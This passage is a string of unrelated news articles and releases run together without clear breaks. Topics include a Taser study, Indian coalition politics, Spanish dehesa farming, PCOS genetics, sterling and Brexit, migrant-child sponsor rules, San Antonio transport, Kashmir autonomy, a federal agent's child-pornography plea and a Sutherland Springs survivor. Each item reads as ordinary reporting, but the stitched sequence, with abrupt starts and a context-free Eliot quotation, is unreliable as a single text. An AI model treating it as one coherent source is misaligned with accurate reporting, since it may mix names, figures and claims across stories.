unarmed shifts. In what researchers call a "contagion effect", even those unarmed officers accompanying Taser carriers on 'treatment' shifts used force 19% more often than those on Taser-free 'control' shifts. Six physical assaults against police were recorded during shifts with Taser-carrying officers, compared to just three on the unarmed 'control' shifts. While the numbers are small, assaults against officers are rare, and researchers argue that this doubling is significant. Despite the increased hostility uncovered by the study, actual use of electroshock weapons was minimal over the study period, with just nine "deholsterings" - only two of which resulted in electric shocks applied to a suspect. "The City of London police rarely discharged Tasers during the study. Yet the very presence of the weapon led to increased hostility between the police and public," said Ariel. The weapons effect was first shown by psychologist Leonard Berkowitz in 1967, in a laboratory experiment involving the administering of electric shocks in the presence of a rifle - an experiment that Ariel points out has been replicated 78 times. "For many, a weapon is a deterrence. However, some individuals interpret the sight of a weapon as an aggressive cue - a threat that creates a hostile environment," he said. "The response is consequently a 'fight or flight' dilemma that can result in a behavioural manifestation of aggression and assault. This is what we think we are seeing in our Taser experiment." "It would not be surprising to find that serious or violent offenders fit this criteria, especially young males - the very type of suspect that is regularly in direct contact with frontline police." Half a million police officers in the United States regularly carry Tasers, and electroshock weapons are now becoming part of frontline policing across the UK. The study author's offer a simple solution to bypass the weapons effect: conceal the Tasers. "The relatively inexpensive policy change of keeping Tasers hidden from sight should not limit efficacy, but could reduce the weapons effect we see in the study," said Ariel. "This conclusion could be generalised to all types of police armoury, including the lethal firearms carried by police officers. If the presence of weapons can lead to aggression by suspects, so its concealment should be able to reduce aggression and increase officer safety," he said. Study co-author Chief Superintendent David Lawes, from the City of London Police, said: "Following the findings of the study, we are exploring whether a simple holster change or weapon position move will nullify the weapons effect issue shown in the experiment. We have also updated our training package for officers carrying Tasers to make them aware of the findings." "The use of Tasers have been a proportionate and sensible introduction to policing against a backdrop of unsophisticated terror attacks and an increase in violent crime across London. "The City of London Police seeks to ensure that any major changes to policy are supported by an evidence base and we wanted to be confident that an extension of Taser deployments to our frontline responders was the right thing to do for both our officers and the public they serve. "A number of other forces are interested in replicating the study to add to the evidence base and see whether the experiment produces the same results outside of London. "Across our force, we will continue to use evidence to define how we target problems, which tactics we should use and how we can ensure policing is efficient and safer for both the general public and our officers." ### Paras also demanded respectable seat share in Jharkhand and Uttar Pradesh claiming that their voter base exists in these two states. Patna: Days after the RLSP snapped ties with the BJP in Bihar, another ally LJP has warned the NDA saying that it may suffer a loss in Lok Sabha elections if seat sharing agreement is not finalised on time. LJP state president Pashupati Kumar Paras on Wednesday demanded that his party should contest on the same number of seats in 2019 as they were given in 2014 Lok Sabha elections. The Ram Vilas Paswan led LJP had won six out seven seats in 2014 general elections BJP President Amit Shah should call a meeting of all allies and finalize seat adjustments before December 31 because time is running out. The NDA may suffer a loss if the matter is delayed further, LJP state president Pashupati Kumar Paras said. Mr Paras also demanded respectable seat share in Jharkhand and Uttar Pradesh claiming that their voter base exists in these two states. As per the latest seat sharing formula, the BJP JD (U) is likely to share 17 seats each. Sources said that LJP leaders were expecting the BJP to offer the remaining number of seats after Upendra Kushwaha left NDA earlier this month. However, reports suggest that three RLSP leaders who have decided to not to leave NDA may get at least one seat for the Lok Sabha elections in Bihar. On Tuesday, LJP MP Chirag Paswan had said that the NDA is going through a critical phase after RLSP and TDP left. The BJP should resolve the issues of other NDA partners in a respectable manner without delay. After Jitan Ram Manjhi left the NDA and joined hands with the grand secular alliance, Ram Vilas Paswan with a sizeable vote share of his own caste is considered one of the strongest Dalit leaders in NDA. Political analysts said that the BJP is not in the condition to play on the front foot after losing three states recently. The LJP is considered one of the important partners in the NDA after chief minister Nitish Kumar in Bihar. Political analysts pointed out that Chirag Paswan tone changed after BJP lost three states, Madhya Pradesh, Chhattisgarh, and Rajasthan recently. In a statement, he had blamed BJP for pushing Ram Mandir and Hanuman issue during election campaigns in these states. NDAs electoral agenda should be development, not Ram temple and Hanuman. Such rhetoric should be avoided by BJP leaders. Time has come for the BJP to set agendas for 2019 Lok Sabha elections which is not far away, Chirag Paswan had said. A dehesa is a distinctive ecosystem in the Mediterranean areas of the Iberian Peninsula labeled High Nature Value due to the value of its ecosystem services and its role in conserving biodiversity. An image of vast land sprinkled with holm oaks and cork oaks where extensive farm animals graze is the most common one that comes to mind when describing the topic of the dehesa, but what occurs when we zoom in on this image? In search of a thorough analysis of the situation of dehesa farms in Los Pedroches valley and the Guadiato Valley, a group of researchers at the Animal Production Department at the University of Cordoba made up of Francisco Maroto, Augusto Gomez, Jose E. Guerrero, Ana Garrido, Jose A. Adame and Dolores C. Perez carried out a study that reveals which are the characteristics of a group of dehesa farms in the province of Cordoba in the beef industry associated with feeding co-ops. Small farms (224 ha) among which most are owned (73%), most use family labor force (61%) and combine different livestock species, the most common combination being beef cattle and Iberian swine (53%), are the characteristics that appear upon taking a closer look at the dehesa. What is more, farms like these show more intense production depending on the increase in livestock density (up to 0.73 units per hectare) with the consequent yearly increase in farming area needed to feed this livestock (47% of arable land). We can see that, rather than the traditional idea of a dehesa farm as a large landowned farm with little productivity, actually in this case, a small family-owned farm is more common, with a tendency toward intensifying production. This study is part of a comprehensive analysis of the entire chain of production, starting with managing livestock on the dehesa and ending with marketing the product, including exporting. Analyzing the starting point and integrating all the information as a whole is what will allow for improving a productive system in which, in addition to protecting environmental resources that characterize the dehesa as an ecosystem, it becomes necessary to shield the financial stability of livestock businesses (while considering the family aspect and the importance of the task of land management). The fact that these cattle farms belong to a feeding co-op, which integrates the rest of the chain of production, allows for directing their development with a broader perspective. Thus, via feedlot rules, livestock breed standardization can be favored for marketing reasons. In fact, there has been a shift toward more productive breeds for meat when traditionally other native breeds were used that were better suited to the environment but produced less meat. At the same time, thanks to associating with the cooperative, smaller farms that have a more difficult time competing in a global market can take part in the industrialization and sales process. From the need to compete within a global market comes progressive intensification (while still being extensive farming) making it necessary to include feed from outside the dehesa in order not to incur deterioration by overgrazing, which an increase in the amount of livestock could entail. Identifying the situation of these beef cattle farms associated with feeding co-ops paves the way toward being able to integrate traditional dehesa methods used by those who best know it as well as the introduction of industrial techniques. Using both methods facilitates facing financial issues in the current market. Stability for farmers that have traditionally farmed in this area is what will allow for sustaining the dehesa and anchoring inhabitants in the rural areas of Los Pedroches and Guadiato Valley. ### Irregular periods, often with weight gain, or just irregular periods and infertility," said Corrine Welt, M.D., interim chief of the Division of Endocrinology and Metabolism at University of Utah Health and one of the senior authors on the study. "These results drive home the point that regardless of symptoms for diagnosing PCOS the genetic underpinnings are exactly the same." The researchers explored the genetic basis of PCOS by conducting a whole genome association study on the genomes of more than 10,000 women with PCOS and 100,000 controls from seven studies that include participants of European ancestry. Data was collected from clinically verified cases from North American and Europe as well as from opt-in research participants, which was provided by 23andMe. In the study, the researchers separated the PCOS patients into three groups based on diagnosis. Patients diagnosed using the National Institutes of Health criteria (high testosterone and irregular menstrual cycles; 2,540 cases and 15,020 controls) account for about 70 percent of PCOS cases. Patients diagnosed using the Rotterdam criteria (high egg production; 2,669 cases and 17,035 controls) account for up to 20 percent of PCOS cases. The researchers also examined self-identified PCOS cases (5,184 cases and 82,759 controls). They identified 14 gene variants that were associated with PCOS, including three that were identified for the first time. Only one of these 14 genetic variants differed significantly in its association by diagnostic criteria. The researchers next examined the associations of these 14 gene variants with specific PCOS related traits in three additional studies with a combined total of more than 10,000 PCOS patients and found four variants associated with high testosterone, eight variants associated with high egg production, and nine variants associated with infertility, with three variants associated with all three traits. "Patients often go from doctor to doctor before they get a diagnosis, because medical professionals may not be familiar with PCOS and providers from dermatology to obstetrics and gynecology to endocrinology may diagnose PCOS differently," Welt said. "As a community, we turned to genetics to understand the initiating cause of this disorder." The genetic underpinnings of PCOS implicate neuroendocrine, metabolic and reproductive pathways, and a follow-up analysis found that the genetic pathways identified in this study are also linked to other conditions including metabolic disorders such as type 2 diabetes, menopause, obesity and depression. In addition, the researchers found, for the first time that there are some links to male pattern baldness. "The links between PCOS and mental health suggest the importance of a holistic approach where the social and psychosocial dimensions of the disease are considered," said Felix Day, Ph.D., senior research associate in Growth and Development at the Medical Research Council Epidemiology Unit at the University of Cambridge, England and contributing author on the study. "The next steps are to further characterize the causes of this understudied disease that affects many women worldwide". Welt noted the study may over-represent the most severe characteristics of PCOS (defined by the NIH criteria), which is more commonly diagnosed by medical professionals. As such, the results may be biased toward the variants that impart these traits. In addition, whole genome association studies identify regions of interest along the genome but do not pinpoint the causal gene. ### This work was developed through the international collaboration among 50 institutions. The results are available online in the article titled Large-scale Genomic-wide Meta Analysis of Polycystic Ovary Syndrome Suggests Shared Genetic Architecture for Different Diagnosis Criteria in the December 19 issue of the journal PLOS Genetics. The International PCOS Consortium received funding from a number of organizations, including the National Institutes of Health, European Union's Horizon 2020 research and innovation program and National Institute of Health Research Biomedical Researcher Centre. The recovery seen in the pound to US Dollar exchange rates early in Wednesdays session was curtailed sharply on the FOMCs, as expected, rates announcement but has since returned to the upside. GBP/USD rose steadily overnight to begin todays session just below weekly highs. At the time of writing the currency rate is currently $1.266 Above: Pound Sterling US Dollar (GBP/USD) Exchange Rate While Brexit turmoil continues to grip the nation, MPs gathered in the House of Commons to discuss a meaningful way forward from the current deadlock which has seen the chances of a no-deal Brexit rise. The session in Parliament however degenerated into an argument over whether or not leader of the opposition, Jeremy Corbyn called the Prime Minister a stupid woman, something he strongly denies. PM May did however release her white paper on post-Brexit immigration which would see EU migrants brought under the same restrictions as those from other countries by 2021 and introduce a salary threshold of 30,000 to limit immigration to skilled workers. Businesses have strongly condemned the proposed plans. Head of the Social Market Foundation thinktank criticised the policies in a tweet, the Government is proposing to make British people poorer, by restricting UK employers access to productive workers from elsewhere in Europe. The Pound to dollar exchange rates continued to recover from last weeks 20 month sub $1.25 lows ($1.24765) rising for a third consecutive day against the backdrop of a muted US Dollar ahead of todays Fed funds rate and FOMC releases as well as hopes that PM May can steer a course which avoids a hard Brexit. Above: Pound Sterling US Dollar (GBP/USD) Exchange Rate Much to the chagrin of opposition parties, PM May is expected to table her Brexit withdrawal agreement in the week commencing January 14th. The decision has faced fierce criticism with MPs accusing the Prime Minister of delaying the vote as much as possible to force a choice between her deal or no deal at all. In the House of Commons today, leader of the opposition, Jeremy Corbyn said the tactics employed amount to a criminal waste of money, accusing PM May of recklessly running down the clock in an attempt to make her deal look like the lesser of two evils, and saying PM May should stop dithering. UK and EU Officials Prepare for No-Deal Brexit A new option of a managed no-deal scenario has emerged in recent days with cabinet ministers meeting to discuss preparations should an overarching treaty fail to be agreed between the EU and UK ahead of the March 29th Brexit day. Likewise, the EU Commission has tabled contingency plans outlining 14 propositions aimed at limiting the worst effects of a cliff-edge exit on the European and UK economies. While the plans represent the bare minimum the EU perceives as essential to basic connectivity they cover such areas as flying rights, air safety certificates, derivatives contracts, time limits for customs declarations, hydrofluorocarbon quotas, and the classifications for trade and tourism statistics. In the interest of mitigating any disruption to trade flows the proposal sees the scrapping of the EUs original plan to limit road-haulage permit quotas to 5% of existing levels. While hardline Brexiteers may welcome the prospect of a managed or orderly no-deal Brexit, the UKs former ambassador to the EU, Sir Ivan Rogers described the plans for no-deal plus as a fantasy. No Deal Brexit Remains Most Damaging Outcome for Pound Sterling and UK Economy While uncertainty abounds over the outcome of the Brexit process, institutional forecasts agree that an unmanaged, no-deal scenario remains the worst possible outcome for the Pound Sterling (GBP) and the UK economy as a whole. Given the difficulty in assessing and quantifying the factors involved, forecasts for the Pound Sterling US Dollar (GBP/USD) exchange rate in 2019 vary widely between $1.10 and $1.59 in the worst and best case scenarios respectively. Caxton analyst Michael Brown predicts, In the event of a no-deal Brexit, sterling would likely experience a brutal sell-off, with the pound potentially losing more than 10 percent of its value. UPDATE: Thursdays session saw the Pound Sterlings (GBP) recovery momentum continue to wane, giving way to downside exchange rate pressure as the session progressed. While we remain no closer to reaching a Brexit resolution, the myriad alternatives to PM Mays highly divisive withdrawal agreement are gathering support as the Brexit deadline approaches. While PM May has persistently proposed her deal or no-deal as the only options on the table, Justice Secretary David Gauke, has commented he would be very surprised if the Prime Minister backed a no-deal Brexit in the likely event her deal fails in Januarys meaningful vote. While its unclear what alternatives PM May would pursue, talk continues over a managed no deal Brexit which would see the UK exit the EU with a bare-bones legal framework in place allowing basic connectivity. A second referendum is also an option but PM May has consistently rejected the proposal. Other alternatives include seeking a Norway-model style deal which would see the UK remain in the European Economic Area (EEA). Pound Sterling Recovery Stalls Amidst MPC Warnings & Growing Expectations of No-Deal Brexit Following solid gains throughout Wednesday, Thursdays morning session saw the Pound Sterling (GBP) continue to appreciate versus the US Dollar (GBP/USD) while significantly above-forecast UK retail sales figures failed to stem GBP depreciation against the majority of peer currencies. Even versus the USD, sterling momentum faded heading in to the afternoon session as the MPC highlighted substantial Brexit-related uncertainties weighing on the UK economic outlook moving forward and a small but significant change to government wording raised concerns over a no-deal Brexit. Above: Pound Sterling Australian Dollar (GBPAUD) Exchange Rate Government technical notices have been subtly altered over the last 24 hours to remove the small but significant unlikely descriptor with regards to a no-deal Brexit scenario. Sky News Faisal Islam reported Government has in past 24 hours quietly edited every No Deal technical notice to take out word unlikely from the sentence in the unlikely event of no deal... with the wording now reading in the event of no deal. PM May Accused of Caving to Business Pressure Over Immigration Proposals On the Brexit front, Wednesday saw PM May put forward a white paper, aimed at curbing migration of unskilled workers to the UK by imposing a 30,000 salary threshold and brining EU migrants under the same terms of immigration as those from other nations. While the immigration paper aims at reducing the influx of unskilled workers into the UKs labour market, the proposal includes a cooling off period aimed at reducing the shock to industries heavily reliant on EU labour, such as construction and social care. Under the transitional measures, EU nationals will remain able to travel to the UK without job offers to seek work for up to a year. The proposal has faced stark criticism from the UKs Migration Watch which feels the policy doesnt propose adequate measures to ensure migrants exit the UK after 12 months. Chair of Market Watch, Lord Green commented, It is shocking that the government should have caved in so completely to the demands of industry while ignoring the strong public desire to get immigration down," adding The chief winners will be business, as they exploit the bonanza of a huge new pool of labour from around the world while continuing to avoid their responsibility to the public to recruit and train up local talent." Cabinet Ministers at Odds Over Second Referendum as Solution to Break Brexit Deadlock Cabinet ministers Andrea Leadsom and Amber Rudd have today set out significantly divergent proposals in the event that PM Mays Brexit withdrawal agreement falls before the House of Commons in a meaningful vote expected to take place during the week commencing January 14th 2019. In response to the current deadlock which has all but halted Brexit progress, Ms Rudd said a second referendum on the deal was plausible while Mrs Leadsom said a further referendum would be unacceptable and that in lieu of PM Mays withdrawal agreement, the UK should seek a managed no deal. The Prime Ministers official spokesman rejected both suggestions stating PM May had been very clear on the dangers of calling a second referendum adding that the priority remains getting the current deal through parliament. MPC Reiterate Impact of Brexit on UK Economic Outlook Thursdays MPC policy summary release saw the BoEs top economists continue to highlight Brexit as a growing uncertainty factor for the UKs economic outlook, stating, Brexit uncertainties have intensified considerably since the Committees last meeting. These uncertainties are weighing on UK financial markets. The summary added that shifting expectations with regards to Brexit could lead to greater-than-usual short-term volatility in UK data adding that the bigger picture economic outlook will continue to depend significantly on the nature of EU withdrawal, in particular: the form of new trading arrangements between the European Union and the United Kingdom; whether the transition to them is abrupt or smooth; and how households, businesses and financial markets respond. FOR IMMEDIATE RELEASE After writing seven books dealing with "justice," criminal justice expert Paul Brakke, publisher of American Leadership Books, hails the choice of "justice" by Merriam-Webster, the dictionary publishers, as its 2018 word of the year. Merriam-Webster made this choice because the word "justice" has been featured in the daily news cycles for the past months. According to Peter Sokolowski's, the company's editor-at-large, the word "justice" consistently rose to the top 20 to 30 lookups on the company's website. So it showed both a high volume of traffic and a significant increase in lookups during the year. Ironically, Brakke chose "Crime in America" to be the title of his next book on conservatives' approaches to criminals, police, criminal justice, and the opioid crisis, since a search on Amazon's database of popular keywords showed "criminal justice" had relatively few hits, compared to "crime" which had much more. "Criminal justice is too abstract and sounds too academic," a book publicity guru told him. However, now that "justice" has been recognized as a popular word in searches like "racial justice," "obstruction of justice," "social justice," and the "Justice Department," Brakke is delighted that the word has been properly recognized. Thus, he plans to use the word in his next series of books which deal with "criminal justice" in American, such as Fractured America, Prisons in America, and The Opioid Crisis in America. Plus he has used the word in the subtitle for his latest book: Crime in America: Conservatives' Approaches toward Criminals, Police, Criminal Justice, and the Opioid Crisis. To learn more about different aspects of the criminal justice system -- from the crime to police arrests, prison, and going to court, you can get a free review copy of Crime in America, which is also available for preorder, on Amazon. Brakke is offering these books for free to anyone who wants to review and comment on the book -- just go to www.crimeinamericathebook.com to get a copy. Also, copies are available for government officials who might turn some of Brakke's suggestions for reducing crime and fixing the criminal justice system into legislation. Members of the media are invited to request copies of the book, too. To help draw attention to the suggested fixes in the book, Brakke has additionally launched a video and social media campaign about justice in America today, with five new videos each day. The first 10 are featured on his American Leadership Books' YouTube channel. Among the most recent videos is "Want to Know More about U.S. Crime and Prisons?" https://youtu.be/87fLsRId3Is Brakke's next books -- Fractured America and Prisons in America -- will be out in the next few months. For media copies of the Crime in America book, along with additional information on American Leadership Books and Paul Brakke, and to set up interviews, please contact: Jana Collins Jones & O'Malley Toluca Lake, California jana@jonesomalley.com (818) 762-8353 The Trump administration announced Tuesday that it planned to ease onerous security requirements for sponsors of migrant children, meaning that thousands who have been parked in shelters for months could soon be released and reunited with family members. In a major policy reversal, the Department of Health and Human Services, which oversees the care of migrant children through its Office of Refugee Resettlement, said that it would no longer require that all members of a household where a child is to live be fingerprinted. Instead, fingerprints will be required only of the adult who is sponsoring the minor, typically a parent or another relative. Sponsors of migrant children who cross the border and are taken into custody of U.S. officials must still pass criminal and extensive background checks, the agency said in a statement. However, others in the same home will not be subjected to that extra vetting, which was introduced by the administration in June. As a result, it will take significantly less time to place children with their families, and their stays in the shelters will be much shorter. The agency said in its statement that it was in the best interest of the unaccompanied children for it to modify the policy. Some 15,000 migrant children, including adolescents who crossed the border alone and young children who were separated from their parents, are warehoused in more than 100 shelters in the United States. In an interview broadcast on National Public Radio on Tuesday, the assistant secretary at Health and Human Services, Lynn Johnson, put it bluntly: The children should be home with their parents. The government makes lousy parents. She added that the extra screening is not adding anything to the protection or the safety of children. Johnson said that about 2,000 children in shelters are to be released in the next four or five days to parents who have already been screened. The lengthy warehousing of minors had come under attack from immigrant advocates, Democratic lawmakers and medical professionals, who had expressed concern about its detrimental effect on the mental health of the children. Studies have shown that the institutionalization of children in general, and away from their families, has serious deleterious affects on their psychological and physical health, as well as their growth and development, said Amy J. Cohen, a child psychiatrist who is an expert on trauma. Its a tremendous relief to hear that the government is finally going to enable these children to be reunited with family so that they can start the healing process, said Cohen, who has interviewed migrant children in shelters. The influx of migrant youth reaching the border alone, along with the Trump administrations monthslong practice of separating children from their families and the stringent security screening of potential sponsors, had stretched the shelters to nearly full capacity. In June, the federal government erected a tent city on federal land in Tornillo, Texas, about 35 miles southeast of El Paso, as a temporary home for a few hundred migrant children. Several months later, it had expanded the camp to house about 2,800 minors, most of whom were transferred there from traditional brick-and-mortar shelters that were overflowing. The creation and expansion of the desert shelter showed the degree to which the Trump administration had taken a disaster-oriented, militaristic approach to the housing of migrant youths who entered the country illegally, often fleeing gangs or poverty in their home countries. Most of the children at Tornillo have been waiting for the results of FBI checks on their potential sponsors. On Tuesday, staff members at a large facility in Texas operated by BCFS, a nonprofit network of shelters, received notice that they should prepare to release nearly half the children there in the coming days. A worker at the shelter, who asked to remain anonymous because he was not authorized to speak to the media, said that staff members had also been advised to attend a meeting Wednesday to learn the details of the new government policy. The worker said that many children at the shelter, which has a capacity of about 240, had shown signs of psychological duress as their stay there dragged on. The worker said that some migrant youth had been at the facility for close to a year. The longer they are here, the more they act up with incidents of aggression toward staff and other minors, the worker said. The worker attributed the protracted stay to the burdensome fingerprinting and screening process, which took months to complete. The process also inhibited some relatives from collecting the children of others in their household, especially if they were unauthorized immigrants and refused to be fingerprinted out of concern that they could be deported. The number of Central American migrants who began leaving their countries and heading to the southwest border surged in 2014, and included many unaccompanied minors, typically adolescents, and parents with children. The wave ebbed in the first year that President Donald Trump was in office but has since strengthened. This article originally appeared in The New York Times An influential group of local leaders, including former Mayor Henry Cisneros, outlined a far-ranging San Antonio transportation plan Wednesday without light rail or toll roads but sufficient, they hope, to avoid the high cost of doing nothing for a city anticipating a million more people by 2040. The detailed 25-page proposal was drafted by ConnectSA, a non-profit formed by Mayor Ron Nirenberg in April. Nirenberg described it as a framework for a community discussion, addressing everything from scooters, buses, bikes and autonomous vehicles to ways to pay for some $2.7 billion in projects through 2030 that are, as of now, unfunded. This is not a pie-in-the-sky proposal with Buck Rogers solutions, said Cisneros, invoking the 1930s-era science fiction cartoon hero. And I emphasize there are no toll roads, no rail. San Antonio has indicated its not voting for that, and maybe weve even leaped over rail with new technologies that are cheaper and faster to build. OnExpressNews.com: With opening of new justice center, Bexar county eyes more criminal justice reform The press conference seemed part boardroom meeting - the movers and shakers sat around a large oval conference table - and part urban planning pep rally for those who needed no reminder that San Antonio voters have rejected two major transportation initiatives since 2000. Some form of the plan is expected to be placed before voters in November of 2019 at the earliest, possibly in 2020, officials said. Our current resources cannot keep up with our growth, the report states. New roadway capacity might make room for more travelers, but it wont speed up traffic We need a system that works equitably, with flexible access for different needs, resources and abilities. The report proposed 25 things that could be done by 2025, among them: Provide a universal computer app for all forms of transportation that, for example, might allow a traveler to put $50 on a card and then use it for scooters, ride-shares like Lyft and Uber, buses, and future alternatives. Launch autonomous vehicle pilot projects. Make real-time parking availability known to the public. Collect bus fares prior to boarding to reduce delays. OnExpressNews.com: Deal falls through for late real estate tycoon's Alamo Towers Construct 40 miles of protected lanes for scooters and bikes, and 200 miles of new sidewalks to eliminate existing gaps, especially to bus stops, shopping centers and schools. Coming up with cool ideas what not the hard part the hard part is how to pay for it, said Cisneros, who was secretary of Housing and Urban Development under President Bill Clinton. Potential funding sources through 2030 include reallocating an existing 1/8th-cent per dollar sales tax that currently goes to the Edwards Aquifer and Linear Creek Fund and will expire when it has collected $180 million. This would not increase the current 8.25 percent sales tax. The city could also dedicate a portion of future bond elections to support ConnectSA projects or leverage matching funds from state and federal sources. It could also consider public-private partnerships, transportation reinvestment zones or adding a $10 annual vehicle registration fee within Bexar County. Despite light rails success in Houston, Dallas and hundreds of cities worldwide, the report concluded, in the near and mid-term, there are more cost-effective and innovative investments, including a more robust transit (bus) system. Theres just no firestorm of support for light rail, Cisneros said. You really need a much more dense city than we have. But were making lemonade out of lemons. - T. S. Eliot Thoughts After Lambeth "The World is trying the experiment of attempting to form a civilized but non-Christian mentality. The experiment will fail; but we must be very patient in awaiting its collapse; meanwhile redeeming the time: so that the Faith may be preserved alive through the dark ages before us; to renew and rebuild civilization, and save the World from suicide." The SAC report had also recommended sweeping changes in Centre-state relations. Srinagar: Former Jammu and Kashmir chief minister and National Conference (NC) president Farooq Abdullah on Thursday said that if voted to power with an absolute majority in coming elections, its government will grant regional autonomy to the States all regions within 30 days. I make a promise that within 30 days of being voted to power with absolute majority, we will give regional autonomy to the State. It is a matter which is close to peoples heart, he said at an event in winter capital Jammu organised by the NC to welcome expelled former BJP MLA Gagan Bhagat into the party. He added, With almightys blessing, I am in good health and I will see it become a reality within my time. Elaborating, Mr. Abdullah said, The roadmap in this regard has been drawn between 1996 and 2002 and the larger objective of regional autonomy will be politico-economic empowerment of all the regions of the State. He asserted that J&K is a unique state that needs special dispensation in terms of autonomy to different regions to satiate urges and aspirations of the people. He said a major ground work has been done in this regard with avowed objective of empowering the people at grass roots level and enabling them to take decisions as per their regional priorities. The regional autonomy document is ready. We need to just make some tertiary improvement in it so that every area gets its representation. Such a mechanism under overall superintendence of the State government will further strengthen the regional unity, which is imperative for singular entity of Jammu and Kashmir, he said. The J&K Assembly had on June 26, 2000, when Mr. Abdullah was the chief minister of the state, adopted by voice vote a resolution accepting the report of the State Autonomy Committee (SAC) which recommended greater autonomy to the state. The SAC report had also recommended sweeping changes in Centre-state relations. The autonomy resolution was, however, not accepted by the then NDA government led by Prime Minister Atal Bihari Vajpayee. The BJP was first to react to Mr. Abdullahs statement. Senior party leader and former deputy chief minister Kavinmder Gupta said, Farooq Abdullah should stop daydreaming. Theres is nothing like autonomy. Talking about so-called autonomy is but anti-national. Appreciating Mr. Bhagats joining the NC, Mr. Abdullah exuded confidence that the people, especially those in political arena, will work towards maintaining the singular entity of J&K which, he said, is under severe threat from polarizing agents. He said, Peace and amity have to be strengthened at every level and this can be ensured only by strong National Conference, which is a mass movement. A suspended Homeland Security agent pleaded guilty Wednesday to child pornography charges just as a judge had prepared to hear his trial. Richard Nikolai Gratkowski, 40, who spent 10 years with Immigration and Customs Enforcements Homeland Security Investigations, tried to take a plea deal in November but with conditions aimed at preserving some appellate rights. Senior U.S. District Judge David Ezra initially rejected the plea deal because he normally does not accept conditional plea agreements, and had set the case for a bench trial that was supposed to start Wednesday. But after Ezra made some rulings on pre-trial motions and heard from Gratkowskis lawyer, assistant federal public defender Marina Thais-Douenat, and the prosecutor, Assistant U.S. Attorney Tracy Thompson, the judge allowed the conditional plea to go forward. OnExpressNews.com: Federal agent to plead guilty to child porn charges The judge denied some of Gratkowskis pre-trial motions, but granted one that suppresses incriminating statements Gratkowski made to internal investigators with his agency, though prosecutors werent relying solely on those statements. As part of his plea agreement, Gratkowski can appeal any motion he lost to the 5th U.S. Circuit Court of Appeals in New Orleans. After the kinks were ironed out, Gratkowski appeared before U.S. Magistrate Judge Henry Bemporad and pleaded guilty to two charges. Gratkowski faces five to 20 years on the charge of receiving child porn images and up to 20 years on a count of accessing child porn with intent to view it, when Ezra sentences him in March. Gratkowski was assigned to a squad that investigates gangs in San Antonio. He also had worked in Eagle Pass. An FBI agent previously testified that Gratkowskis employer put him on paid leave and was working to fire him. All Department of Homeland Security employees are held to the highest standards of behavior and ethics, ICE said in a statement. While ICE does not comment on personnel matters, the agency is fully cooperating with the FBI and the Department of Homeland Securitys Office of Inspector General (OIG) regarding this issue. OnExpressNews.com: Feds investigating child porn and arrest two of their own Gratkowski was arrested Jan. 4 after his case was referred to the FBI by his own agencys internal affairs branch and the Internal Revenue Services criminal investigators, FBI special agent Larry Baker testified at a hearing in February. Baker testified that Gratkowskis arrest arose out of an investigation into a child porn website on The Onion Router, or TOR network, which seeks to keep users anonymous by using thousands of relays or servers, much like the layers of an onion. The same investigation also ensnared then-Border Patrol agent Paul Casey Whipple, 35, of Hondo in mid-December. According to Baker, the website in question provided access to more than 117,000 graphic child porn videos. Gratkowski and Whipple were both identified as users. Whipple is now scheduled for trial in March. Back from the Brink More than a year after the Sutherland Springs church massacre, an injured 6-year-old fights for recovery. Back from the Brink More than a year after the Sutherland Springs church massacre, an injured 6-year-old fights for recovery. Ryland Ward reluctantly proffered his arm as his sleeve was rolled up. Below the crook of his left elbow, it looked as if a chunk of muscle and flesh had been scooped away. A bumpy mesh pattern extended across the scar tissue, remnants of the skin graft that had covered a gaping gunshot wound. Another jagged scar extended down Rylands forearm to his wrist. Until this moment, the 6-year-old had happily engaged with his occupational therapists while they tested his use of his left arm and hand. But now he rubbed his eye and put his head down on his right arm. His smile had disappeared. Ryland's Recovery Express-News reporter Lauren Caruba and photographer Lisa Krantz charted Ryland Wards recovery from devastating gunshot wounds with cooperation from his family and his treating physicians. The journalists observed Ryland receiving occupational therapy at the Childrens Rehabilitation Institute TeletonUSA in San Antonio, and Caruba interviewed his surgeon, child psychiatrist and rehab physician as well as his family members. Occupational therapist Rudy Cardenas looked over to Rylands father, Chris Ward, and gave instructions for home care. He told Ward to continue with scar massages and pressure garments. Then he turned back to Ryland. "Your arm looks good," Cardenas said. With the sleeve back in place, Ryland's smile returned. Ryland's playfulness doesn't hint at what he has endured. He was just 5 years old when a gunman opened fire at the First Baptist Church of Sutherland Springs on Sunday, Nov. 5, 2017. Twenty-six people died that day, including two of Ryland's sisters. His stepmother died trying to shield him. SEVEN MINUTES OF TERROR: Survivor recalls church massacre Ryland was struck by multiple high-velocity rounds. He was hospitalized in San Antonio for more than two months. He needed two dozen surgeries to repair injuries to his arm, leg, pelvis and abdominal organs. The bullets wreaked such havoc on his small body that doctors cannot be sure exactly how many times he was shot. After leaving the hospital, Ryland went through intensive physical and occupational therapy at a rehabilitation facility for children to regain the use of his left arm and left leg. He met with a child psychiatrist who helped him process the ordeal. Now almost 7, he is the same ball of energy he was before the shooting. Sometimes he walks so fast that a slight irregularity in his left leg lingering evidence of a shattered femur is almost indiscernible. But fleeting moments serve as reminders of what Ryland went through that day, and of the work he has put in every day since then to heal. His recovery, his doctors say, has been remarkable. It was made possible by Rylands resilience and a multi-disciplinary team of specialists from across the San Antonio area. It literally took an entire hospital system to save his life, said Dr. Lillian Liao, a trauma surgeon at University Hospital who operated on Ryland. Luck was on his side, too. Stop the bleeding Ryland was the first victim of the massacre to arrive at University that day. Because of the severity of his injuries, he was transported by helicopter. Tourniquets stanched the bleeding from wounds to his left arm and leg. They had been applied by a volunteer firefighter who pulled Ryland from the bullet-riddled church. Physicians surveyed the damage. High-velocity rounds had blasted away tissue and muscle on Rylands left arm, damaging a radial artery and nerve and leaving a craterous wound. A large section of his left thigh bone was splintered, and his pelvis was fractured. Bullets had burrowed into Rylands abdomen, injuring his bladder and intestines. Blood had pooled in his lower abdomen. Bullet fragments peppered his pelvis and abdomen. Doctors estimated that Ryland had lost at least half the blood in his body. Most child gunshot victims treated at the hospital have suffered a single wound, often the result of an accident. Ryland had been shot multiple times in multiple areas. His wounds looked like those inflicted in war zones. RELATED: A day of death and heroism in Sutherland Springs On a typical Sunday at University, two trauma surgeons and a team of specialists would have been on call. But that Sunday, the full trauma leadership team including seven surgeons were at the hospital, reviewing the results of an accreditation visit by the American College of Surgeons. The timing proved fortuitous as the hospital shifted into mass casualty response. In addition to Ryland, University received eight patients from the church shooting, on a day of the week that is usually the busiest for trauma-related injuries. Eight other gunshot victims were sent to Brooke Army Medical Center, the regions other Level 1 trauma center. The extent of Rylands injuries called for damage control resuscitation, in which doctors seek to control bleeding and stabilize a patients vital signs. Decades ago, surgeons performed continuous surgery on patients like Ryland, keeping them in the operating room for hours on end. Liao, the 